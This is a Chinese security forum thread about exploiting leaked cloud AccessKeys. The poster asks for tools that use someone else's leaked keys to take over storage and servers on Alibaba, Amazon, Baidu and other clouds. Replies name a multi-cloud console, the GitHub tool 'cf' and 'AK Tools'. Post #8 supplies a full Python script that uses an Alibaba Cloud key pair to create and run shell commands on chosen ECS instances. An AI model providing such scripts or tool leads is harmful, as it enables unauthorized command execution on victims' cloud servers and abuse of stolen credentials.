导航

accesskey泄露利用问题

#1
1.想问一下师傅们,之前记得有一个平台好像集合了很多公有云,什么亚马逊云,百度云,阿里云,金山云啊这些,可以通过accesskey方式去登录服务器的OSS和服务器权限。有哪位师傅知道的。在这里先谢谢各位师傅了。

2.还有个问题,这个文章字数是多少,100字还是200字,总规则好像也没看到。
2023-02-18
#2
你说的平台应该是行云管家
2023-02-19
#3
https://www.cloudbility.com/    应该是行云管家,支持网页版
2023-02-19
#4
行云管家的登录账户 不安全
论坛里有师傅写好的工具 更靠谱
github也有一搜就出来了
lucky
2023-02-20
#5
GitHub 不是有个叫做cf的工具吗? 你看看
github.com/teamssix/cf
2023-02-20
#6
行云管家,github上也有相关利用太多了,行云管家操作性还是比较高的,但貌似有时候会漏不清楚为什么?
2023-02-20
#7
github上找一找,总能找到
2023-02-20
#8
#!/usr/bin/env python
#coding=utf-8
import json, base64
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest
from aliyunsdkecs.request.v20140526.InvokeCommandRequest import InvokeCommandRequest
ID = '123' # Access Id
KEY = '123' # Access Key
reGon = 'cn-shenzhen'            # 地区
InstanceId = ["123"] # 实例ID
CmdBytes = b'''此处是命令不要删除下面的换行
'''# 要执行的命令
Cmd = base64.b64encode(CmdBytes).decode('utf-8')
CmdType = "RunShellScript"

# RunBatScript:创建一个在Windows实例中运行的 Bat 脚本。

# RunPowerShellScript:创建一个在Windows实例中运行的PowerShell脚本。

# RunShellScript:创建一个在Linux实例中运行的Shell脚本。
client = AcsClient(ID, KEY, reGon)
request = CreateCommandRequest()
request.set_accept_format('json')
request.set_Name("123123")
request.set_Type("RunShellScript")
request.set_CommandContent(Cmd)
response = client.do_action_with_exception(request)
print(str(response, encoding='utf-8'))
request2 = InvokeCommandRequest()
request2.set_accept_format('json')
request2.set_CommandId((json.loads(response))['CommandId'])
request2.set_InstanceIds(InstanceId)
response = client.do_action_with_exception(request2)
print(str(response, encoding='utf-8'))
2023-02-20
#9
AK Tools也可以,不过好像只能阿里云?
2023-02-21
#10
行云管家上次用小号注册,过了几天就电话打过来了。
生平事,天付与,且婆娑。几人尘外相视,一笑醉颜酡